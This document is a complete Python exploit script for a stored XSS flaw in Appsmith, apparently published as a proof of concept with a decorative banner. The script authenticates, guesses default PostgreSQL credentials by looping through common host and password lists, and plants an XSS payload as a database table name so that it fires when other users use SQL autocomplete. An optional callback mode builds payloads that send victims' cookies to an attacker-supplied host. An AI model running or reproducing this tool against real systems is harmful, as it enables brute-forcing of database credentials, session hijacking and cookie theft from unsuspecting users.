README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Appsmith Stored XSS via SQL Autocomplete (CVE-2026-7299)
"""
import argparse
import json
import random
import string
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class C:
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
PURPLE = "\033[95m"
CYAN = "\033[96m"
WHITE = "\033[97m"
GREY = "\033[90m"
BRED = "\033[1;91m"
BGREEN = "\033[1;92m"
BYELLOW = "\033[1;93m"
BBLUE = "\033[1;94m"
BPURPLE = "\033[1;95m"
BCYAN = "\033[1;96m"
BWHITE = "\033[1;97m"
BOLD = "\033[1m"
DIM = "\033[2m"
END = "\033[0m"
class out:
@staticmethod
def _pad(level):
return " " * level
@staticmethod
def success(msg, level=1):
print(f"{out._pad(level)}{C.BGREEN}\u2022{C.END} {msg}")
@staticmethod
def error(msg, level=1):
print(f"{out._pad(level)}{C.BRED}\u2022{C.END} {C.RED}{msg}{C.END}")
@staticmethod
def warn(msg, level=1):
print(f"{out._pad(level)}{C.BYELLOW}\u2022{C.END} {C.YELLOW}{msg}{C.END}")
@staticmethod
def info(msg, level=1):
print(f"{out._pad(level)}{C.BCYAN}\u2022{C.END} {msg}")
@staticmethod
def step(msg, level=1):
print(f"{out._pad(level)}{C.BPURPLE}\u2022{C.END} {msg}")
@staticmethod
def detail(label, value, level=2):
print(f"{out._pad(level)}{C.GREY}\u2022 {label}:{C.END} {value}")
@staticmethod
def dim(msg, level=2):
print(f"{out._pad(level)}{C.GREY}\u2022 {msg}{C.END}")
@staticmethod
def progress(msg, level=2):
pad = out._pad(level)
sys.stdout.write(f"\r{pad}{C.GREY}\u2022 {msg}{C.END}\033[K")
sys.stdout.flush()
@staticmethod
def blank():
print()
BANNER = f'''
{C.PURPLE}M""MMMM""M MP""""""`MM MP""""""`MM {C.END} {C.BOLD} MP""""""`MM M"""""`'"""`YM M""M M""""""""M M""MMMMM""MM
{C.PURPLE}M `MM' M M mmmmm..M M mmmmm..M {C.END} {C.BOLD}M mmmmm..M M mm. mm. M M M Mmmm mmmM M MMMMM MM
{C.PURPLE}MM. .MM M. `YM M. `YM {C.END} {C.BOLD}M. `YM M MMM MMM M M M MMMM MMMM M `M
{C.PURPLE}M .mm. M MMMMMMM. M MMMMMMM. M {C.END} {C.BOLD}MMMMMMM. M M MMM MMM M M M MMMM MMMM M MMMMM MM
{C.PURPLE}M MMMM M M. .MMM' M M. .MMM' M {C.END} {C.BOLD}M. .MMM' M M MMM MMM M M M MMMM MMMM M MMMMM MM
{C.PURPLE}M MMMM M Mb. .dM Mb. .dM {C.END} {C.BOLD}Mb. .dM M MMM MMM M M M MMMM MMMM M MMMMM MM
{C.PURPLE}MMMMMMMMMM MMMMMMMMMMM MMMMMMMMMMM {C.END} {C.BOLD}MMMMMMMMMMM MMMMMMMMMMMMMM MMMM MMMMMMMMMM MMMMMMMMMMMM
{C.BGREEN}@stuub{C.END}
Exploiting CVE-2026-7299
Stored XSS - Appsmith v1.98
'''
PAYLOADS = {
"alert": '<img src=x onerror=alert(document.domain)>',
}
class AppsmithExploit:
def __init__(self, base_url, email, password, verify_ssl=False):
self.base_url = base_url.rstrip("/")
self.email = email
self.password = password
self.session = requests.Session()
self.session.verify = verify_ssl
self.xsrf_token = None
def _headers(self):
h = {"Content-Type": "application/json"}
if self.xsrf_token:
h["X-XSRF-TOKEN"] = self.xsrf_token
return h
def _update_xsrf(self, response):
token = response.cookies.get("XSRF-TOKEN")
if token:
self.xsrf_token = token
def login(self):
out.step("Authenticating...")
r = self.session.get(f"{self.base_url}/api/v1/users/me")
self._update_xsrf(r)
r = self.session.post(
f"{self.base_url}/api/v1/login",
headers={"Content-Type": "application/x-www-form-urlencoded",
"X-XSRF-TOKEN": self.xsrf_token or ""},
data={"username": self.email, "password": self.password},
allow_redirects=False,
)
self._update_xsrf(r)
if r.status_code not in (200, 301, 302):
out.error("Login failed", level=2)
out.dim(r.text[:200])
sys.exit(1)
r = self.session.get(f"{self.base_url}/api/v1/users/me",
headers=self._headers())
self._update_xsrf(r)
data = r.json()
if data.get("data", {}).get("isAnonymous", True):
out.error("Login failed, still anonymous", level=2)
sys.exit(1)
email = data["data"].get("email", "unknown")
out.success(f"Authenticated as {C.BGREEN}{email}{C.END}", level=2)
return data["data"]
def get_workspace_context(self):
suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
out.step("Setting up workspace...")
r = self.session.post(
f"{self.base_url}/api/v1/workspaces",
headers=self._headers(),
json={"name": f"poc-{suffix}"})
self._update_xsrf(r)
if r.status_code not in (200, 201):
out.warn(f"Workspace creation failed ({r.status_code}), using existing", level=2)
r = self.session.get(f"{self.base_url}/api/v1/workspaces/home",
headers=self._headers())
self._update_xsrf(r)
workspaces = r.json().get("data", [])
if not workspaces:
out.error("No workspaces found", level=2)
sys.exit(1)
workspace = workspaces[0]
else:
workspace = r.json()["data"]
workspace_id = workspace["id"]
out.success(f"Workspace {C.BWHITE}{workspace.get('name', 'N/A')}{C.END}", level=2)
r = self.session.post(
f"{self.base_url}/api/v1/applications",
headers=self._headers(),
json={"name": f"app-{suffix}", "workspaceId": workspace_id})
self._update_xsrf(r)
if r.status_code not in (200, 201):
out.error(f"Failed to create application: {r.status_code}", level=2)
sys.exit(1)
app = r.json()["data"]
app_id = app["id"]
pages = app.get("pages", [])
if not pages:
out.error("No pages found", level=2)
sys.exit(1)
page_id = pages[0].get("id") or pages[0].get("baseId")
out.success(f"Application {C.BWHITE}{app.get('name', 'N/A')}{C.END}", level=2)
return workspace_id, app_id, page_id
def find_postgres_datasource(self, workspace_id):
out.step("Searching for writable PostgreSQL datasources...")
r = self.session.get(
f"{self.base_url}/api/v1/datasources?workspaceId={workspace_id}",
headers=self._headers())
self._update_xsrf(r)
resp = r.json()
if resp.get("responseMeta", {}).get("status") != 200:
out.warn("Datasource listing failed", level=2)
return None
for ds in resp.get("data", []):
if ds.get("pluginName", "").lower() == "postgresql":
storages = ds.get("datasourceStorages", {})
for _, storage in storages.items():
config = storage.get("datasourceConfiguration", {})
mode = config.get("connection", {}).get("mode", "READ_WRITE")
if mode == "READ_WRITE":
out.success(f"Found {C.BCYAN}{ds['name']}{C.END}", level=2)
return ds
out.dim(f"{ds['name']} is READ_ONLY, skipping", level=2)
out.warn("No writable PostgreSQL datasource found", level=2)
return None
dfl_db_hosts = [
"host.docker.internal", "172.17.0.1", "postgres", "postgresql",
"db", "database", "appsmith-pg", "localhost",
]
dfl_db_ports = [5432]
dfl_db_names = ["postgres", "testdb", "appsmith"]
dfl_db_user = ["postgres", "appsmith", "admin"]
dfl_db_pass = ["postgres", "password", "test123", "appsmith", "admin"]
def test_datasource_connection(self, plugin_id, workspace_id, host, port,
db_name, username, password):
payload = {
"pluginId": plugin_id,
"datasourceConfiguration": {
"connection": {"mode": "READ_WRITE", "ssl": {"authType": "DEFAULT"}},
"endpoints": [{"host": host, "port": port}],
"authentication": {
"databaseName": db_name,
"username": username,
"password": password,
},
"properties": [None, {"key": "Connection method", "value": "STANDARD"}],
},
"workspaceId": workspace_id,
}
headers = self._headers()
headers["X-Appsmith-EnvironmentId"] = "unused_env"
try:
r = self.session.post(
f"{self.base_url}/api/v1/datasources/test",
headers=headers, json=payload, timeout=10)
self._update_xsrf(r)
return r.json().get("data", {}).get("success", False)
except Exception:
return False
def auto_discover_datasource(self, workspace_id, db_host=None, db_port=None,
db_name=None, db_user=None, db_pass=None):
out.step("Auto-discovering PostgreSQL connection...")
plugin_id = self.get_postgres_plugin_id(workspace_id)
hosts = [db_host] if db_host else self.dfl_db_hosts
ports = [db_port] if db_port else self.dfl_db_ports
names = [db_name] if db_name else self.dfl_db_names
users = [db_user] if db_user else self.dfl_db_user
passes = [db_pass] if db_pass else self.dfl_db_pass
for host in hosts:
for port in ports:
for name in names:
for user in users:
for pwd in passes:
combo = f"{user}:{pwd}@{host}:{port}/{name}"
out.progress(f"Trying {combo:<50}")
if self.test_datasource_connection(
plugin_id, workspace_id,
host, port, name, user, pwd):
print()
out.success(f"Connection found {C.BGREEN}{combo}{C.END}", level=2)
return self.create_datasource(
workspace_id, host, port, name, user, pwd)
print()
out.error("No valid PostgreSQL connection found", level=2)
out.dim("Provide credentials with --db-host, --db-user, --db-pass, --db-name")
sys.exit(1)
def get_postgres_plugin_id(self, workspace_id):
r = self.session.get(
f"{self.base_url}/api/v1/plugins?workspaceId={workspace_id}",
headers=self._headers())
self._update_xsrf(r)
for p in r.json().get("data", []):
pname = p.get("name", "").lower()
pkg = p.get("packageName", "").lower()
if "postgres" in pname or "postgres" in pkg:
return p["id"]
out.error("PostgreSQL plugin not found", level=2)
sys.exit(1)
def create_datasource(self, workspace_id, db_host, db_port, db_name,
db_user, db_pass):
out.step(f"Creating datasource {C.BWHITE}{db_host}:{db_port}/{db_name}{C.END}", level=2)
plugin_id = self.get_postgres_plugin_id(workspace_id)
payload = {
"pluginId": plugin_id,
"datasourceStorages": {
"unused_env": {
"datasourceConfiguration": {
"properties": [
None,
{"key": "Connection method", "value": "STANDARD"}
],
"connection": {
"mode": "READ_WRITE",
"ssl": {"authType": "DEFAULT"}
},
"endpoints": [{"port": str(db_port), "host": db_host}],
"sshProxy": {"endpoints": [{"port": "22"}]},
"authentication": {
"databaseName": db_name,
"username": db_user,
"password": db_pass,
},
"url": "",
},
"datasourceId": "",
"environmentId": "unused_env",
"isConfigured": True,
}
},
"name": f"ds-{workspace_id[:8]}",
"workspaceId": workspace_id,
}
r = self.session.post(f"{self.base_url}/api/v1/datasources",
headers=self._headers(), json=payload)
self._update_xsrf(r)
if r.status_code != 201:
out.error(f"Failed to create datasource: {r.status_code}", level=3)
out.dim(r.text[:300], level=3)
sys.exit(1)
ds = r.json()["data"]
out.success(f"Datasource created {C.GREY}({ds['id']}){C.END}", level=3)
return ds
def create_action(self, datasource, app_id, page_id, workspace_id,
xss_payload):
out.step("Injecting XSS payload...")
sql = f'CREATE TABLE "{xss_payload}" (id serial primary key);'
payload = {
"applicationId": app_id,
"workspaceId": workspace_id,
"pluginType": "DB",
"pluginId": datasource["pluginId"],
"datasource": {
"id": datasource["id"],
"name": datasource["name"],
"pluginId": datasource["pluginId"],
},
"pageId": page_id,
"actionConfiguration": {
"timeoutInMillisecond": 10000,
"paginationType": "NONE",
"encodeParamsToggle": True,
"pluginSpecifiedTemplates": [{"value": True}],
"body": sql,
},
"name": "xss_poc_query",
}
r = self.session.post(f"{self.base_url}/api/v1/actions",
headers=self._headers(), json=payload)
self._update_xsrf(r)
if r.status_code not in (200, 201):
out.error(f"Failed to create action: {r.status_code}", level=2)
out.dim(r.text[:500], level=2)
sys.exit(1)
action = r.json()["data"]
out.success(f"Action created {C.GREY}({action['id']}){C.END}", level=2)
out.detail("SQL", f"{C.BWHITE}{sql}{C.END}")
return action["id"]
def execute_action(self, action_id):
out.step("Executing query...", level=2)
execute_dto = json.dumps({
"actionId": action_id,
"viewMode": False,
"paramProperties": {},
})
body = (
f"------ExploitBoundary\r\n"
f'Content-Disposition: form-data; name="executeActionDTO"\r\n'
f"\r\n"
f"{execute_dto}\r\n"
f"------ExploitBoundary--\r\n"
)
headers = {
"Content-Type": "multipart/form-data; boundary=----ExploitBoundary",
"X-Appsmith-EnvironmentId": "unused_env",
}
if self.xsrf_token:
headers["X-XSRF-TOKEN"] = self.xsrf_token
r = self.session.post(
f"{self.base_url}/api/v1/actions/execute",
headers=headers, data=body.encode())
self._update_xsrf(r)
if r.status_code != 200:
out.error(f"Execution failed: {r.status_code}", level=3)
sys.exit(1)
result = r.json()
success = result.get("data", {}).get("isExecutionSuccess", False)
if success:
out.success("Malicious table created", level=3)
else:
error = result.get("data", {}).get("body", "Unknown error")
if "already exists" in str(error):
out.warn("Table already exists (payload previously injected)", level=3)
else:
out.error(f"Query error: {error}", level=3)
sys.exit(1)
return success
def refresh_structure(self, datasource_id):
out.step("Refreshing datasource structure...")
r = self.session.get(
f"{self.base_url}/api/v1/datasources/{datasource_id}/structure"
f"?ignoreCache=true",
headers=self._headers())
self._update_xsrf(r)
if r.status_code == 200:
tables = r.json().get("data", {}).get("tables", [])
out.success(f"{C.BWHITE}{len(tables)}{C.END} tables loaded into autocomplete", level=2)
for t in tables:
name = t.get("name", "")
if "<" in name or "onerror" in name:
out.success(f"Poisoned table: {C.BGREEN}{name[:70]}{C.END}", level=2)
return True
else:
out.warn(f"Structure refresh returned {r.status_code}", level=2)
return True
def run(self, xss_payload, db_host=None, db_port=None, db_name=None,
db_user=None, db_pass=None):
self.login()
out.blank()
workspace_id, app_id, page_id = self.get_workspace_context()
out.blank()
ds = self.find_postgres_datasource(workspace_id)
if not ds:
ds = self.auto_discover_datasource(
workspace_id, db_host, db_port, db_name, db_user, db_pass)
out.blank()
action_id = self.create_action(ds, app_id, page_id, workspace_id,
xss_payload)
self.execute_action(action_id)
out.blank()
self.refresh_structure(ds["id"])
out.blank()
out.success(f"{C.BGREEN}Exploit complete{C.END}")
out.dim("XSS payload stored as a database table name.")
out.dim("Will fires when a workspace member triggers SQL autocomplete.")
out.blank()
out.detail("Trigger", f"Type {C.BWHITE}SELECT * FROM{C.END} in the SQL editor")
out.detail("Payload", f"{C.BWHITE}{xss_payload}{C.END}")
out.detail("Datasource", f"{C.BWHITE}{ds['name']}{C.END} {C.GREY}({ds['id']}){C.END}")
out.blank()
def main():
print(BANNER)
parser = argparse.ArgumentParser(
description="CVE-2026-7299 - Appsmith Stored XSS via SQL Autocomplete")
parser.add_argument("-u", "--url", required=True,
help="Appsmith base URL (e.g. http://localhost:4444)")
parser.add_argument("-e", "--email", required=True,
help="Attacker's Appsmith email")
parser.add_argument("-p", "--password", required=True,
help="Attacker's Appsmith password")
parser.add_argument("-c", "--callback-url",
help="Callback URL for cookie exfiltration")
parser.add_argument("-x", "--custom-payload",
help="Custom XSS payload string")
parser.add_argument("-H", "--db-host", help="PostgreSQL host")
parser.add_argument("-P", "--db-port", type=int, default=5432,
help="PostgreSQL port (default: 5432)")
parser.add_argument("-d", "--db-name", help="PostgreSQL database name")
parser.add_argument("-U", "--db-user", help="PostgreSQL username")
parser.add_argument("-W", "--db-pass", help="PostgreSQL password")
parser.add_argument("-k", "--no-verify-ssl", action="store_true",
help="Disable SSL verification")
args = parser.parse_args()
if args.custom_payload:
xss_payload = args.custom_payload
if len(xss_payload) > 63:
out.warn(f"Custom payload is {len(xss_payload)} chars (PostgreSQL limit: 63)")
out.dim("Payload will be truncated by the database")
elif args.callback_url:
cb = args.callback_url.rstrip("/")
short_cb = cb.replace("https://", "//").replace("http://", "//")
candidates = [
f"<img src=x onerror=fetch('{cb}?c='+document.cookie)>",
f"<img src=x onerror=fetch('{cb}?'+document.cookie)>",
f"<img src=x onerror=fetch('{short_cb}?'+document.cookie)>",
]
xss_payload = None
for c in candidates:
if len(c) <= 63:
xss_payload = c
if not xss_payload:
max_url = 63 - len("<img src=x onerror=fetch('//?'+document.cookie)>")
out.error("Callback URL too long for PostgreSQL 63-char identifier limit")
out.dim(f"Max URL length: ~{max_url} chars (yours: {len(short_cb)})")
out.dim("Use port 80 or a short domain/ngrok URL")
sys.exit(1)
out.info(f"Callback: {C.BWHITE}{xss_payload}{C.END} {C.GREY}({len(xss_payload)}/63){C.END}")
else:
xss_payload = PAYLOADS["alert"]
out.blank()
exploit = AppsmithExploit(
base_url=args.url,
email=args.email,
password=args.password,
verify_ssl=not args.no_verify_ssl,
)
exploit.run(
xss_payload=xss_payload,
db_host=args.db_host,
db_port=args.db_port,
db_name=args.db_name,
db_user=args.db_user,
db_pass=args.db_pass,
)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(f"\n\n {C.BYELLOW}\u2022{C.END} {C.GREY}Interrupted.{C.END}\n")
sys.exit(0)